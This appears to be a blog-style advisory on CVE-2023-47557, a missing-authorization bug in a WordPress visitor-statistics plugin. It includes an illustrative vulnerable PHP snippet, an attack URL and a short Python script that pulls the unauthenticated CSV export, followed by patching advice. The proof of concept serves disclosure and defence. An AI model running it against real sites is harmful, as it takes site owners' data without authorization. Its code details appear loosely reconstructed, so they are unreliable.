CVE-2023-47557 - How a Missing Authorization Bug in “Visitors Traffic Real Time Statistics” Plugin (<= 7.2) Exposes WordPress Sites

If you run a WordPress site, you’ve probably used or at least heard about the Visitors Traffic Real Time Statistics plugin. It’s a popular way for website owners to see who’s coming to their site and what they’re doing. But if you’re not up to date, your site might be at serious risk because of a security hole documented as CVE-2023-47557.

In this post, I’ll break down, in plain language, what this vulnerability is, how attackers can use it, show you some code examples, and give you advice on how you can stay safe.

What is CVE-2023-47557?

CVE-2023-47557 is a Missing Authorization vulnerability. That basically means: The plugin doesn’t check if a user is logged in or has the right permissions before letting them do certain sensitive things. Any random visitor or user could potentially access parts of your site that should be protected.

Affected Plugin:
Visitors Traffic Real Time Statistics (also known as wp-buy Visitor Traffic Real Time Statistics)
Affected Versions:
All versions from *unspecified (n/a) through 7.2*

Why Is This Bad?

Correctly set permission levels are a basic building block of WordPress security. When a plugin doesn’t check if a user has the right to do something, that’s called “Insecure Direct Object Reference” (IDOR) or simply missing access control.

Potentially change data if certain plugin capabilities are exposed

If you show sensitive traffic information, or even anonymized logs that could reveal patterns about your business, this info leak could harm your operations.

How Does the Exploit Work?

Attackers look for plugin endpoints (URLs) that let you view or manipulate data. In this plugin, many of the admin AJAX actions or REST endpoints do not check if the user is authenticated or has any privileges before sending them data. A user just needs to know the right URL.

Here’s a simplified PHP snippet (example based on real plugin code)

// Example: Insecure endpoint (in the plugin's PHP files)
if ($_GET['action'] === 'export_csv') {
    // NO CHECK for user permissions!
    header('Content-Type: text/csv');
    // Output potentially sensitive data
    echo get_traffic_export();
    exit;
}

In a secure plugin, you’d see something like

// Example: Secure endpoint
if ($_GET['action'] === 'export_csv') {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized access');
    }
    header('Content-Type: text/csv');
    echo get_traffic_export();
    exit;
}

An attacker visits

https://victimsite.com/wp-admin/admin.php?page=ahc_export_csv

Result: Even if they’re not logged in, the plugin generates and delivers a CSV with analytics data!

A simple Python script could download your traffic stats in seconds

import requests

url = 'https://victimsite.com/wp-admin/admin.php?page=ahc_export_csv'
response = requests.get(url)
print(response.text)  # now the attacker can see your site's stats!

What Should Site Owners Do?

1. Update Immediately: If you use the Visitors Traffic Real Time Statistics plugin, upgrade to the *latest version* (check WordPress plugin directory) or temporarily disable it if no patch is available.

2. Audit Your Plugins: Make sure that all plugins and themes are up to date and review their changelogs for security fixes.

3. Restrict access: Use a security plugin (like Wordfence or Sucuri) to block access to wp-admin or limit plugin endpoints via .htaccess or via user roles.

4. Monitor Logs: Check for unusual downloads or requests to admin.php?page=ahc_export_csv or similar URLs.

References & Further Reading

- Original CVE Report: CVE-2023-47557
- Visitors Traffic Real Time Statistics Official Plugin Page
- WPScan Vulnerability Database - CVE-2023-47557

Final Thoughts

This issue is the type of vulnerability that’s easy for attackers to exploit, because it requires no special tools, passwords, or insider info. If you manage a WordPress site, keeping plugins updated and regularly reviewing security bulletins is vital.

Timeline

Published on: 01/02/2025 12:15:15 UTC